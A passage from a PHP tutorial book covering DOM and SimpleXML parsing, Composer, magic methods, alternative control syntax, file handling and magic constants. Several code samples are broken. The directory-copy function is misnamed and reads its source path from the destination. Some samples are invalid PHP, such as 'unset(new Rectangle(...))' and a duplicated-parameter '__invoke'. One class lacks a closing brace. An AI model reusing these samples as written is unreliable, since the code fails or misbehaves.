directories. Likewise, two PHP classes with the same name may co-exist in separate PHP namespaces.

It is important for you to namespace your code so that it may be used by other developers without fear of colliding
with other libraries.

Chapter 24: Parsing HTML

Section 24.1: Parsing HTML from a string
PHP implements a DOM Level 2 compliant parser, allowing you to work with HTML using familiar methods like
getElementById() or appendChild().

$html = '<html><body><span id="text">Hello, World!</span></body></html>';

$doc = new DOMDocument();

libxml_use_internal_errors(true);
$doc->loadHTML($html);

echo $doc->getElementById("text")->textContent;

Outputs:

Hello, World!

Complete PHP Tips & Secrets for Professionals 125

Note that PHP will emit warnings about any problems with the HTML, especially if you are importing a document
fragment. To avoid these warnings, tell the DOM library (libxml) to handle its own errors by calling
libxml_use_internal_errors() before importing your HTML. You can then use libxml_get_errors() to handle
errors if needed.

Section 24.2: Using XPath

$html = '<html><body><span class="text">Hello, World!</span></body></html>';

$doc = new DOMDocument();

$doc->loadHTML($html);

$xpath = new DOMXPath($doc);

$span = $xpath->query("//span[@class='text']")->item(0);

echo $span->textContent;

Outputs:

Hello, World!

Section 24.3: SimpleXML

Presentation

SimpleXML is a PHP library which provides an easy way to work with XML documents (especially reading and
iterating through XML data).

The only restraint is that the XML document must be well-formed.

Parsing XML using procedural approach

// Load an XML string
$xmlstr = file_get_contents('library.xml');
$library = simplexml_load_string($xmlstr);

// Load an XML file

$library = simplexml_load_file('library.xml');

// You can load a local file path or a valid URL (if allow_url_fopen is set to "On" in php.ini
Parsing XML using OOP approach
// $isPathToFile: it informs the constructor that the 1st argument represents the path to a file,
// rather than a string that contains 1the XML data itself.

// Load an XML string

$xmlstr = file_get_contents('library.xml');
$library = new SimpleXMLElement($xmlstr);

// Load an XML file

$library = new SimpleXMLElement('library.xml', NULL, true);

// $isPathToFile: it informs the constructor that the first argument represents the path to a file,
rather than a string that contains 1the XML data itself.
Accessing Children and Attributes

When SimpleXML parses an XML document, it converts all its XML elements, or nodes, to properties of the
resulting SimpleXMLElement object
In addition, it converts XML attributes to an associative array that may be accessed from the property to

Complete PHP Tips & Secrets for Professionals 126

 which they belong.

When you know their names:

$library = new SimpleXMLElement('library.xml', NULL, true);
foreach ($library->book as $book){
echo $book['isbn'];
echo $book->title;
echo $book->author;
echo $book->publisher;
}

The major drawback of this approach is that it is necessary to know the names of every element and
attribute in the XML document.

When you don't know their names (or you don't want to know them):
foreach ($library->children() as $child){
echo $child->getName();
// Get attributes of this element
foreach ($child->attributes() as $attr){
echo ' ' . $attr->getName() . ': ' . $attr;
}
// Get children
foreach ($child->children() as $subchild){
echo ' ' . $subchild->getName() . ': ' . $subchild;
}
}

Chapter 25: Composer Dependency Manager

php path/to/composer.phar [command] [options] [arguments]

Parameter Details
license Defines the type of license you want to use in the Project.
authors Defines the authors of the project, as well as the author details.
support Defines the support emails, irc channel, and various links.
require Defines the actual dependencies as well as the package versions.
require-dev Defines the packages necessary for developing the project.
suggest Defines the package suggestions, i.e. packages which can help if installed.
autoload Defines the autoloading policies of the project.
autoload-dev Defines the autoloading policies for developing the project.

Composer is PHP's most commonly used dependency manager. It's analogous to npm in Node, pip for Python, or
NuGet for .NET.

Section 25.1: What is Composer?

Composer is a dependency/package manager for PHP. It can be used to install, keep track of, and update your
project dependencies. Composer also takes care of autoloading the dependencies that your application relies on,
letting you easily use the dependency inside your project without worrying about including them at the top of any
given file.

Dependencies for your project are listed within a composer.json file which is typically located in your project root.
This file holds information about the required versions of packages for production and also development.

A full outline of the composer.json schema can be found on the Composer Website.

This file can be edited manually using any text-editor or automatically through the command line via commands
such as composer require <package> or composer require-dev <package>.

Complete PHP Tips & Secrets for Professionals 127

To start using composer in your project, you will need to create the composer.json file. You can either create it
manually or simply run composer init. After you run composer init in your terminal, it will ask you for some basic
information about your project: Package name (vendor/package - e.g. laravel/laravel), Description - optional,
Author and some other information like Minimum Stability, License and Required Packages.

The require key in your composer.json file specifies Composer which packages your project depends on. require
takes an object that maps package names (e.g. monolog/monolog) to version constraints (e.g. 1.0.*).

{
"require": {
"composer/composer": "1.2.*"
}
}

To install the defined dependencies, you will need to run the composer install command and it will then find the
defined packages that matches the supplied version constraint and download it into the vendor directory. It's a
convention to put third party code into a directory named vendor.

You will notice the install command also created a composer.lock file.

A composer.lock file is automatically generated by Composer. This file is used to track the currently installed
versions and state of your dependencies. Running composer install will install packages to exactly the state
stored in the lock file.

Section 25.2: Autoloading with Composer

While composer provides a system to manage dependencies for PHP projects (e.g. from Packagist), it can also
notably serve as an autoloader, specifying where to look for specific namespaces or include generic function files.

It starts with the composer.json file:

{
// ...
"autoload": {
"psr-4": {
"MyVendorName\\MyProject": "src/"
},
"files": [
"src/functions.php"
]
},
"autoload-dev": {
"psr-4": {
"MyVendorName\\MyProject\\Tests": "tests/"
}
}
}

This configuration code ensures that all classes in the namespace MyVendorName\MyProject are mapped to the src
directory and all classes in MyVendorName\MyProject\Tests to the tests directory (relative to your root directory). It
will also automatically include the file functions.php.

After putting this in your composer.json file, run composer update in a terminal to have composer update the
dependencies, the lock file and generate the autoload.php file. When deploying to a production environment you
would use composer install --no-dev. The autoload.php file can be found in the vendor directory which should
be generated in the directory where composer.json resides.

You should require this file early at a setup point in the lifecycle of your application using a line similar to that

Complete PHP Tips & Secrets for Professionals 128

below.

require_once __DIR__ . '/vendor/autoload.php';

Once included, the autoload.php file takes care of loading all the dependencies that you provided in your
composer.json file.

Some examples of the class path to directory mapping:

MyVendorName\MyProject\Shapes\Square ? src/Shapes/Square.php.
MyVendorName\MyProject\Tests\Shapes\Square ? tests/Shapes/Square.php.

Section 25.3: Dierence between 'composer install' and 'composer update'

composer update

composer update will update our dependencies as they are specified in composer.json.

For example, if our project uses this configuration:

"require": {
"laravelcollective/html": "2.0.*"
}

Supposing we have actually installed the 2.0.1 version of the package, running composer update will cause an
upgrade of this package (for example to 2.0.2, if it has already been released).

In detail composer update will:

Read composer.json
Remove installed packages that are no more required in composer.json
Check the availability of the latest versions of our required packages
Install the latest versions of our packages
Update composer.lock to store the installed packages version

composer install

composer install will install all of the dependencies as specified in the composer.lock file at the version specified
(locked), without updating anything.

In detail:

Read composer.lock file

Install the packages specified in the composer.lock file

When to install and when to update

composer update is mostly used in the 'development' phase, to upgrade our project packages.

composer install is primarily used in the 'deploying phase' to install our application on a production server
or on a testing environment, using the same dependencies stored in the composer.lock file created by
composer update.

Section 25.4: Composer Available Commands

Command Usage

Complete PHP Tips & Secrets for Professionals 129

about Short information about Composer
archive Create an archive of this composer package
browse Opens the package's repository URL or homepage in your browser.
clear-cache Clears composer's internal package cache.
clearcache Clears composer's internal package cache.
config Set config options
create-project Create new project from a package into given directory.
depends Shows which packages cause the given package to be installed
diagnose Diagnoses the system to identify common errors.
dump-autoload Dumps the autoloader
dumpautoload Dumps the autoloader
exec Execute a vendored binary/script
global Allows running commands in the global composer dir ($COMPOSER_HOME).
help Displays help for a command
home Opens the package's repository URL or homepage in your browser.
info Show information about packages
init Creates a basic composer.json file in current directory.
Installs the project dependencies from the composer.lock file if present, or falls back on the
install
composer.json.
licenses Show information about licenses of dependencies
list Lists commands
outdated Shows a list of installed packages that have updates available, including their latest version.
prohibits Shows which packages prevent the given package from being installed
remove Removes a package from the require or require-dev
require Adds required packages to your composer.json and installs them
run-script Run the scripts defined in composer.json.
search Search for packages
self-update Updates composer.phar to the latest version.
selfupdate Updates composer.phar to the latest version.
show Show information about packages
status Show a list of locally modified packages
suggests Show package suggestions
Updates your dependencies to the latest version according to composer.json, and updates the
update
composer.lock file.
validate Validates a composer.json and composer.lock
why Shows which packages cause the given package to be installed
why-not Shows which packages prevent the given package from being installed

Section 25.5: Benefits of Using Composer

Composer tracks which versions of packages you have installed in a file called composer.lock, which is intended to
be committed to version control, so that when the project is cloned in the future, simply running composer install
will download and install all the project's dependencies.

Composer deals with PHP dependencies on a per-project basis. This makes it easy to have several projects on one
machine that depend on separate versions of one PHP package.

Composer tracks which dependencies are only intended for dev environments only

composer require --dev phpunit/phpunit

Composer provides an autoloader, making it extremely easy to get started with any package. For instance, after
installing Goutte with composer require fabpot/goutte, you can immediately start to use Goutte in a new project:

<?php

Complete PHP Tips & Secrets for Professionals 130

require __DIR__ . '/vendor/autoload.php';

$client = new Goutte\Client();

// Start using Goutte

Composer allows you to easily update a project to the latest version that is allowed by your composer.json. EG.
composer update fabpot/goutte, or to update each of your project's dependencies: composer update.

Section 25.6: Installation

You may install Composer locally, as part of your project, or globally as a system wide executable.

Locally

To install, run these commands in your terminal.

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"

# to check the validity of the downloaded installer, check here against the SHA-384:
# https://composer.github.io/pubkeys.html
php composer-setup.php
php -r "unlink('composer-setup.php');"

This will download composer.phar (a PHP Archive file) to the current directory. Now you can run php
composer.phar to use Composer, e.g.

php composer.phar install

Globally

To use Composer globally, place the composer.phar file to a directory that is part of your PATH

mv composer.phar /usr/local/bin/composer

Now you can use composer anywhere instead of php composer.phar, e.g.

composer install

Chapter 26: Magic Methods

Section 26.1: __call() and __callStatic()
__call() and __callStatic() are called when somebody is calling nonexistent object method in object or static
context.

class Foo
{
/**
* This method will be called when somebody will try to invoke a method in object
* context, which does not exist, like:
*
* $foo->method($arg, $arg1);
*
* First argument will contain the method name(in example above it will be "method"),
* and the second will contain the values of $arg and $arg1 as an array.
*/
public function __call($method, $arguments)
{
// do something with that information here, like overloading
// or something generic.
// For sake of example let's say we're making a generic class,

Complete PHP Tips & Secrets for Professionals 131

 // that holds some data and allows user to get/set/has via
// getter/setter methods. Also let's assume that there is some
// CaseHelper which helps to convert camelCase into snake_case.
// Also this method is simplified, so it does not check if there
// is a valid name or
$snakeName = CaseHelper::camelToSnake($method);
// Get get/set/has prefix
$subMethod = substr($snakeName, 0, 3);

// Drop method name.

$propertyName = substr($snakeName, 4);

switch ($subMethod) {
case "get":
return $this->data[$propertyName];
case "set":
$this->data[$propertyName] = $arguments[0];
break;
case "has":
return isset($this->data[$propertyName]);
default:
throw new BadMethodCallException("Undefined method $method");
}
}

/**
* __callStatic will be called from static content, that is, when calling a nonexistent
* static method:
*
* Foo::buildSomethingCool($arg);
*
* First argument will contain the method name(in example above it will be "buildSomethingCool"),
* and the second will contain the value $arg in an array.
*
* Note that signature of this method is different(requires static keyword). This method was not
* available prior PHP 5.3
*/
public static function __callStatic($method, $arguments)
{
// This method can be used when you need something like generic factory
// or something else(to be honest use case for this is not so clear to me).
print_r(func_get_args());
}
}
Example:
$instance = new Foo();

$instance->setSomeState("foo");
var_dump($instance->hasSomeState()); // bool(true)
var_dump($instance->getSomeState()); // string "foo"

Foo::exampleStaticCall("test");
// outputs:
Array
(
[0] => exampleCallStatic
[1] => test
)

Section 26.2: __get(), __set(), __isset() and __unset()

Whenever you attempt to retrieve a certain field from a class like so:

Complete PHP Tips & Secrets for Professionals 132

$animal = new Animal();
$height = $animal->height;

PHP invokes the magic method __get($name), with $name equal to "height" in this case. Writing to a class field like
so:

$animal->height = 10;

Will invoke the magic method __set($name, $value), with $name equal to "height" and $value equal to 10.

PHP also has two built-in functions isset(), which check if a variable exists, and unset(), which destroys a variable.
Checking whether a objects field is set like so:

isset($animal->height);

Will invoke the __isset($name) function on that object. Destroying a variable like so:

unset($animal->height);

Will invoke the __unset($name) function on that object.

Normally, when you don't define these methods on your class, PHP just retrieves the field as it is stored in your
class. However, you can override these methods to create classes that can hold data like an array, but are usable
like an object:

class Example {
private $data = [];

public function __set($name, $value) {

$this->data[$name] = $value;
}

public function __get($name) {

if (!array_key_exists($name, $this->data)) {
return null;
}

return $this->data[$name];
}

public function __isset($name) {

return isset($this->data[$name]);
}

public function __unset($name) {

unset($this->data[$name]);
}
}

$example = new Example();

// Stores 'a' in the $data array with value 15

$example->a = 15;

// Retrieves array key 'a' from the $data array

echo $example->a; // prints 15

// Attempt to retrieve non-existent key from the array returns null

echo $example->b; // prints nothing

// If __isset('a') returns true, then call __unset('a')

Complete PHP Tips & Secrets for Professionals 133

if (isset($example->a)) {
unset($example->a));
}
empty() function and magic methods

Note that calling empty() on a class attribute will invoke __isset() because as the PHP manual states:

empty() is essentially the concise equivalent to !isset($var) || $var == false

Section 26.3: __construct() and __destruct()

__construct() is the most common magic method in PHP, because it is used to set up a class when it is initialized.
The opposite of the __construct() method is the __destruct() method. This method is called when there are no
more references to an object that you created or when you force its deletion. PHP's garbage collection will clean up
the object by first calling its destructor and then removing it from memory.

class Shape {
public function __construct() {
echo "Shape created!\n";
}
}

class Rectangle extends Shape {

public $width;
public $height;

public function __construct($width, $height) {

parent::__construct();

$this->width = $width;
$this->height = $height;
echo "Created {$this->width}x{$this->height} Rectangle\n";
}

public function __destruct() {

echo "Destroying {$this->width}x{$this->height} Rectangle\n";
}
}

function createRectangle() {
// Instantiating an object will call the constructor with the specified arguments
$rectangle = new Rectangle(20, 50);

// 'Shape Created' will be printed

// 'Created 20x50 Rectangle' will be printed
}

createRectangle();
// 'Destroying 20x50 Rectangle' will be printed, because
// the `$rectangle` object was local to the createRectangle function, so
// When the function scope is exited, the object is destroyed and its
// destructor is called.

// The destructor of an object is also called when unset is used:

unset(new Rectangle(20, 50));

Section 26.4: __toString()

Whenever an object is treated as a string, the __toString() method is called. This method should return a string
representation of the class.

Complete PHP Tips & Secrets for Professionals 134

class User {
public $first_name;
public $last_name;
public $age;

public function __toString() {

return "{$this->first_name} {$this->last_name} ($this->age)";
}
}

$user = new User();

$user->first_name = "Chuck";
$user->last_name = "Norris";
$user->age = 76;

// Anytime the $user object is used in a string context, __toString() is called

echo $user; // prints 'Chuck Norris (76)'

// String value becomes: 'Selected user: Chuck Norris (76)'

$selected_user_string = sprintf("Selected user: %s", $user);

// Casting to string also calls __toString()

$user_as_string = (string) $user;

Section 26.5: __clone()

__clone is invoked by use of the clone keyword. It is used to manipulate object state upon cloning, after the object
has been actually cloned.

class CloneableUser
{
public $name;
public $lastName;

/**
* This method will be invoked by a clone operator and will prepend "Copy " to the
* name and lastName properties.
*/
public function __clone()
{
$this->name = "Copy " . $this->name;
$this->lastName = "Copy " . $this->lastName;
}
}

Example:

$user1 = new CloneableUser();

$user1->name = "John";
$user1->lastName = "Doe";

$user2 = clone $user1; // triggers the __clone magic method

echo $user2->name; // Copy John

echo $user2->lastName; // Copy Doe

Section 26.6: __invoke()

This magic method is called when user tries to invoke object as a function. Possible use cases may include some
approaches like functional programming or some callbacks.

Complete PHP Tips & Secrets for Professionals 135

class Invokable
{
/**
* This method will be called if object will be executed like a function:
*
* $invokable();
*
* Args will be passed as in regular method call.
*/
public function __invoke($arg, $arg, ...)
{
print_r(func_get_args());
}
}

// Example:
$invokable = new Invokable();
$invokable([1, 2, 3]);

// optputs:
Array
(
[0] => 1
[1] => 2
[2] => 3
)

Section 26.7: __sleep() and __wakeup()

__sleep and __wakeup are methods that are related to the serialization process. serialize function checks if a
class has a __sleep method. If so, it will be executed before any serialization. __sleep is supposed to return an
array of the names of all variables of an object that should be serialized.

__wakeup in turn will be executed by unserialize if it is present in class. It's intention is to re-establish resources
and other things that are needed to be initialized upon unserialization.

class Sleepy {
public $tableName;
public $tableFields;
public $dbConnection;

/**
* This magic method will be invoked by serialize function.
* Note that $dbConnection is excluded.
*/
public function __sleep()
{
// Only $this->tableName and $this->tableFields will be serialized.
return ['tableName', 'tableFields'];
}

/**
* This magic method will be called by unserialize function.
*
* For sake of example, lets assume that $this->c, which was not serialized,
* is some kind of a database connection. So on wake up it will get reconnected.
*/
public function __wakeup()
{
// Connect to some default database and store handler/wrapper returned into
// $this->dbConnection

Complete PHP Tips & Secrets for Professionals 136

 $this->dbConnection = DB::connect();
}
}

Section 26.8: __debugInfo()

This method is called by var_dump() when dumping an object to get the properties that should be shown. If the
method isn't defined on an object, then all public, protected and private properties will be shown. — PHP Manual

class DeepThought {
public function __debugInfo() {
return [42];
}
}
Version≤5.6
var_dump(new DeepThought());

The above example will output:

class DeepThought#1 (0) {

}
Version≥5.6
var_dump(new DeepThought());

The above example will output:

class DeepThought#1 (1) {

public ${0} =>
int(42)
}

Chapter 27: Alternative Syntax for Control Structures

structure: /* code */ endstructure;

Section 27.1: Alternative if/else statement

<?php

if ($condition):
do_something();
elseif ($another_condition):
do_something_else();
else:
do_something_different();
endif;

?>

<?php if ($condition): ?>

<p>Do something in HTML</p>
<?php elseif ($another_condition): ?>
<p>Do something else in HTML</p>
<?php else: ?>
<p>Do something different in HTML</p>
<?php endif; ?>

Section 27.2: Alternative for statement

<?php

Complete PHP Tips & Secrets for Professionals 137

for ($i = 0; $i < 10; $i++):
do_something($i);
endfor;

?>

<?php for ($i = 0; $i < 10; $i++): ?>

<p>Do something in HTML with <?php echo $i; ?></p>
<?php endfor; ?>

Section 27.3: Alternative while statement

<?php

while ($condition):
do_something();
endwhile;

?>

<?php while ($condition): ?>

<p>Do something in HTML</p>
<?php endwhile; ?>

Section 27.4: Alternative foreach statement

<?php

foreach ($collection as $item):

do_something($item);
endforeach;

?>

<?php foreach ($collection as $item): ?>

<p>Do something in HTML with <?php echo $item; ?></p>
<?php endforeach; ?>

Section 27.5: Alternative switch statement

<?php

switch ($condition):
case $value:
do_something();
break;
default:
do_something_else();
break;
endswitch;

?>

<?php switch ($condition): ?>

<?php case $value: /* having whitespace before your cases will cause an error */ ?>
<p>Do something in HTML</p>
<?php break; ?>
<?php default: ?>
<p>Do something else in HTML</p>
<?php break; ?>
<?php endswitch; ?>

Complete PHP Tips & Secrets for Professionals 138

Chapter 28: File handling
int readfile ( string $filename [, bool $use_include_path = false [, resource $context ]] )

Parameter Description
filename The filename being read.
You can use the optional second parameter and set it to TRUE, if you want to search for the file in
use_include_path
the include_path, too.
context A context stream resource.

Section 28.1: Convenience functions

Raw direct IO

file_get_contents and file_put_contents provide the ability to read/write from/to a file to/from a PHP string in a
single call.

file_put_contents can also be used with the FILE_APPEND bitmask flag to append to, instead of truncate and
overwrite, the file. It can be used along with LOCK_EX bitmask to acquire an exclusive lock to the file while
proceeding to writing. Bitmask flags can be joined with the | bitwise-OR operator.

$path = "file.txt";
// reads contents in file.txt to $contents
$contents = file_get_contents($path);
// let's change something... for example, convert the CRLF to LF!
$contents = str_replace("\r\n", "\n", $contents);
// now write it back to file.txt, replacing the original contents
file_put_contents($path, $contents);

FILE_APPEND is handy for appending to log files while LOCK_EX helps prevent race condition of file writing from
multiple processes. For example, to write to a log file about the current session:

file_put_contents("logins.log", "{$_SESSION["username"]} logged in", FILE_APPEND | LOCK_EX);

CSV IO
fgetcsv($file, $length, $separator)

The fgetcsv parses line from open file checking for csv fields. It returns CSV fields in an array on success or FALSE
on failure.

By default, it will read only one line of the CSV file.

$file = fopen("contacts.csv","r");
print_r(fgetcsv($file));
print_r(fgetcsv($file,5," "));
fclose($file);

contacts.csv

Kai Jim, Refsnes, Stavanger, Norway

Hege, Refsnes, Stavanger, Norway

Output:

Array
(
[0] => Kai Jim
[1] => Refsnes
[2] => Stavanger
[3] => Norway

Complete PHP Tips & Secrets for Professionals 139

)
Array
(
[0] => Hege,
)
Reading a file to stdout directly

readfile copies a file to the output buffer. readfile() will not present any memory issues, even when sending large
files, on its own.

$file = 'monkey.gif';

if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
Or from a file pointer

Alternatively, to seek a point in the file to start copying to stdout, use fpassthru instead. In the following example,
the last 1024 bytes are copied to stdout:

$fh = fopen("file.txt", "rb");

fseek($fh, -1024, SEEK_END);
fpassthru($fh);
Reading a file into an array

file returns the lines in the passed file in an array. Each element of the array corresponds to a line in the file, with
the newline still attached.

print_r(file("test.txt"));

test.txt

Welcome to File handling

This is to test file handling

Output:

Array
(
[0] => Welcome to File handling
[1] => This is to test file handling
)

Section 28.2: Deleting files and directories

Deleting files

The unlink function deletes a single file and returns whether the operation was successful.

$filename = '/path/to/file.txt';

if (file_exists($filename)) {

Complete PHP Tips & Secrets for Professionals 140

 $success = unlink($filename);

if (!$success) {
throw new Exception("Cannot delete $filename");
}
}
Deleting directories, with recursive deletion

On the other hand, directories should be deleted with rmdir. However, this function only deletes empty directories.
To delete a directory with files, delete the files in the directories first. If the directory contains subdirectories,
recursion may be needed.

The following example scans files in a directory, deletes member files/directories recursively, and returns the
number of files (not directories) deleted.

function recurse_delete_dir(string $dir) : int {

$count = 0;

// ensure that $dir ends with a slash so that we can concatenate it with the filenames directly
$dir = rtrim($dir, "/\\") . "/";

// use dir() to list files

$list = dir($dir);

// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($dir . $file)) {
unlink($dir . $file);
$count++;
} elseif(is_dir($dir . $file)) {
$count += recurse_delete_dir($dir . $file);
}
}

// finally, safe to delete directory!

rmdir($dir);

return $count;
}

Section 28.3: Getting file information

Check if a path is a directory or a file

The is_dir function returns whether the argument is a directory, while is_file returns whether the argument is a
file. Use file_exists to check if it is either.

$dir = "/this/is/a/directory";
$file = "/this/is/a/file.txt";

echo is_dir($dir) ? "$dir is a directory" : "$dir is not a directory", PHP_EOL,

is_file($dir) ? "$dir is a file" : "$dir is not a file", PHP_EOL,
file_exists($dir) ? "$dir exists" : "$dir doesn't exist", PHP_EOL,
is_dir($file) ? "$file is a directory" : "$file is not a directory", PHP_EOL,
is_file($file) ? "$file is a file" : "$file is not a file", PHP_EOL,
file_exists($file) ? "$file exists" : "$file doesn't exist", PHP_EOL;

This gives:

/this/is/a/directory is a directory

Complete PHP Tips & Secrets for Professionals 141

/this/is/a/directory is not a file
/this/is/a/directory exists
/this/is/a/file.txt is not a directory
/this/is/a/file.txt is a file
/this/is/a/file.txt exists
Checking file type

Use filetype to check the type of a file, which may be:

fifo
char
dir
block
link
file
socket
unknown

Passing the filename to the filetype directly:

echo filetype("~"); // dir

Note that filetype returns false and triggers an E_WARNING if the file doesn't exist.

Checking readability and writability

Passing the filename to the is_writable and is_readable functions check whether the file is writable or readable
respectively.

The functions return false gracefully if the file does not exist.

Checking file access/modify time

Using filemtime and fileatime returns the timestamp of the last modification or access of the file. The return
value is a Unix timestamp -- see Working with Dates and Time for details.

echo "File was last modified on " . date("Y-m-d", filemtime("file.txt"));

echo "File was last accessed on " . date("Y-m-d", fileatime("file.txt"));
Get path parts with fileinfo
$fileToAnalyze = ('/var/www/image.png');

$filePathParts = pathinfo($fileToAnalyze);

echo '<pre>';
print_r($filePathParts);
echo '</pre>';

This example will output:

Array
(
[dirname] => /var/www
[basename] => image.png
[extension] => png
[filename] => image
)

Which can be used as:

Complete PHP Tips & Secrets for Professionals 142

$filePathParts['dirname']
$filePathParts['basename']
$filePathParts['extension']
$filePathParts['filename']
Parameter Details
$path The full path of the file to be parsed
One of four available options [PATHINFO_DIRNAME, PATHINFO_BASENAME, PATHINFO_EXTENSION or
$option
PATHINFO_FILENAME]

If an option (the second parameter) is not passed, an associative array is returned otherwise a string is
returned.
Does not validate that the file exists.
Simply parses the string into parts. No validation is done on the file (no mime-type checking, etc.)
The extension is simply the last extension of $path The path for the file image.jpg.png would be .png even if
it technically a .jpg file. A file without an extension will not return an extension element in the array.

Section 28.4: Stream-based file IO

Opening a stream

fopen opens a file stream handle, which can be used with various functions for reading, writing, seeking and other
functions on top of it. This value is of resource type, and cannot be passed to other threads persisting its
functionality.

$f = fopen("errors.log", "a"); // Will try to open errors.log for writing

The second parameter is the mode of the file stream:

Mode Description
r Open in read only mode, starting at the beginning of the file
r+ Open for reading and writing, starting at the beginning of the file
open for writing only, starting at the beginning of the file. If the file exists it will empty the file. If it doesn't
w
exist it will attempt to create it.
open for reading and writing, starting at the beginning of the file. If the file exists it will empty the file. If it
w+
doesn't exist it will attempt to create it.
a open a file for writing only, starting at the end of the file. If the file does not exist, it will try to create it
a+ open a file for reading and writing, starting at the end of the file. If the file does not exist, it will try to create it
x create and open a file for writing only. If the file exists the fopen call will fail
x+ create and open a file for reading and writing. If the file exists the fopen call will fail
open the file for writing only. If the file does not exist it will try to create it. It will start writing at the beginning
c
of the file, but will not empty the file ahead of writing
open the file for reading and writing. If the file does not exist it will try to create it. It will start writing at the
c+
beginning of the file, but will not empty the file ahead of writing

Adding a t behind the mode (e.g. a+b, wt, etc.) in Windows will translate "\n" line endings to "\r\n" when working
with the file. Add b behind the mode if this is not intended, especially if it is a binary file.

The PHP application should close streams using fclose when they are no longer used to prevent the Too many
open files error. This is particularly important in CLI programs, since the streams are only closed when the
runtime shuts down -- this means that in web servers, it may not be necessary (but still should, as a practice to
prevent resource leak) to close the streams if you do not expect the process to run for a long time, and will not
open many streams.

Reading

Using fread will read the given number of bytes from the file pointer, or until an EOF is met.

Complete PHP Tips & Secrets for Professionals 143

Reading lines

Using fgets will read the file until an EOL is reached, or the given length is read.

Both fread and fgets will move the file pointer while reading.

Reading everything remaining

Using stream_get_contents will all remaining bytes in the stream into a string and return it.

Adjusting file pointer position

Initially after opening the stream, the file pointer is at the beginning of the file (or the end, if the mode a is used).
Using the fseek function will move the file pointer to a new position, relative to one of three values:

SEEK_SET: This is the default value; the file position offset will be relative to the beginning of the file.
SEEK_CUR: The file position offset will be relative to the current position.
SEEK_END: The file position offset will be relative to the end of the file. Passing a negative offset is the most
common use for this value; it will move the file position to the specified number of bytes before the end of
file.

rewind is a convenience shortcut of fseek($fh, 0, SEEK_SET).

Using ftell will show the absolute position of the file pointer.

For example, the following script reads skips the first 10 bytes, reads the next 10 bytes, skips 10 bytes, reads the
next 10 bytes, and then the last 10 bytes in file.txt:

$fh = fopen("file.txt", "rb");

fseek($fh, 10); // start at offset 10
echo fread($fh, 10); // reads 10 bytes
fseek($fh, 10, SEEK_CUR); // skip 10 bytes
echo fread($fh, 10); // read 10 bytes
fseek($fh, -10, SEEK_END); // skip to 10 bytes before EOF
echo fread($fh, 10); // read 10 bytes
fclose($fh);
Writing

Using fwrite writes the provided string to the file starting at the current file pointer.

fwrite($fh, "Some text here\n");

Section 28.5: Moving and Copying files and directories

Copying files

copy copies the source file in the first argument to the destination in the second argument. The resolved
destination needs to be in a directory that is already created.

if (copy('test.txt', 'dest.txt')) {
echo 'File has been copied successfully';
} else {
echo 'Failed to copy file to destination given.'
}
Copying directories, with recursion

Copying directories is pretty much similar to deleting directories, except that for files copy instead of unlink is used,
while for directories, mkdir instead of rmdir is used, at the beginning instead of being at the end of the function.

Complete PHP Tips & Secrets for Professionals 144

function recurse_delete_dir(string $src, string $dest) : int {
$count = 0;

// ensure that $src and $dest end with a slash so that we can concatenate it with the filenames
directly
$src = rtrim($dest, "/\\") . "/";
$dest = rtrim($dest, "/\\") . "/";

// use dir() to list files

$list = dir($src);

// create $dest if it does not already exist

@mkdir($dest);

// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($src . $file)) {
copy($src . $file, $dest . $file);
$count++;
} elseif(is_dir($src . $file)) {
$count += recurse_copy_dir($src . $file, $dest . $file);
}
}

return $count;
}
Renaming/Moving

Renaming/Moving files and directories is much simpler. Whole directories can be moved or renamed in a single call,
using the rename function.

rename("~/file.txt", "~/file.html");

rename("~/dir", "~/old_dir");

rename("~/dir/file.txt", "~/dir2/file.txt");

Section 28.6: Minimize memory usage when dealing with large files
If we need to parse a large file, e.g. a CSV more than 10 Mbytes containing millions of rows, some use file or
file_get_contents functions and end up with hitting memory_limit setting with

Allowed memory size of XXXXX bytes exhausted

error. Consider the following source (top-1m.csv has exactly 1 million rows and is about 22 Mbytes of size)

var_dump(memory_get_usage(true));
$arr = file('top-1m.csv');
var_dump(memory_get_usage(true));

This outputs:

int(262144)
int(210501632)

because the interpreter needed to hold all the rows in $arr array, so it consumed ~200 Mbytes of RAM. Note that

Complete PHP Tips & Secrets for Professionals 145

we haven't even done anything with the contents of the array.

Now consider the following code:

var_dump(memory_get_usage(true));
$index = 1;
if (($handle = fopen("top-1m.csv", "r")) !== FALSE) {
while (($row = fgetcsv($handle, 1000, ",")) !== FALSE) {
file_put_contents('top-1m-reversed.csv',$index . ',' . strrev($row[1]) . PHP_EOL,
FILE_APPEND);
$index++;
}
fclose($handle);
}
var_dump(memory_get_usage(true));

which outputs

int(262144)
int(262144)

so we don't use a single extra byte of memory, but parse the whole CSV and save it to another file reversing the
value of the 2nd column. That's because fgetcsv reads only one row and $row is overwritten in every loop.

Chapter 29: Magic Constants

Section 29.1: Dierence between __FUNCTION__ and __METHOD__
__FUNCTION__ returns only the name of the function whereas __METHOD__ returns the name of the class along with
the name of the function:

<?php

class trick
{
public function doit()
{
echo __FUNCTION__;
}

public function doitagain()

{
echo __METHOD__;
}
}

$obj = new trick();

$obj->doit(); // Outputs: doit
$obj->doitagain(); // Outputs: trick::doitagain

Section 29.2: Dierence between __CLASS__, get_class() and

get_called_class()
__CLASS__ magic constant returns the same result as get_class() function called without parameters and they
both return the name of the class where it was defined (i.e. where you wrote the function call/constant name ).

In contrast, get_class($this) and get_called_class() functions call, will both return the name of the actual class
which was instantiated:

<?php

Complete PHP Tips & Secrets for Professionals 146

class Definition_Class {

public function say(){

echo '__CLASS__ value: ' . __CLASS__ . "\n";
echo 'get_called_class() value: ' . get_called_class() . "\n";
echo 'get_class($this) value: ' . get_class($this) . "\n";
echo 'get_class() value: ' . get_class() . "\n";
}

class Actual_Class extends Definition_Class {}

$c = new Actual_Class();
$c->say();
// Output:
// __CLASS__ value: Definition_Class
// get_called_class() value: Actual_Class
// get_class($this) value: Actual_Class
// get_class() value: Definition_Class

Section 29.3: File & Directory Constants

Current file

You can get the name of the current PHP file (with the absolute path) using the __FILE__ magic constant. This is
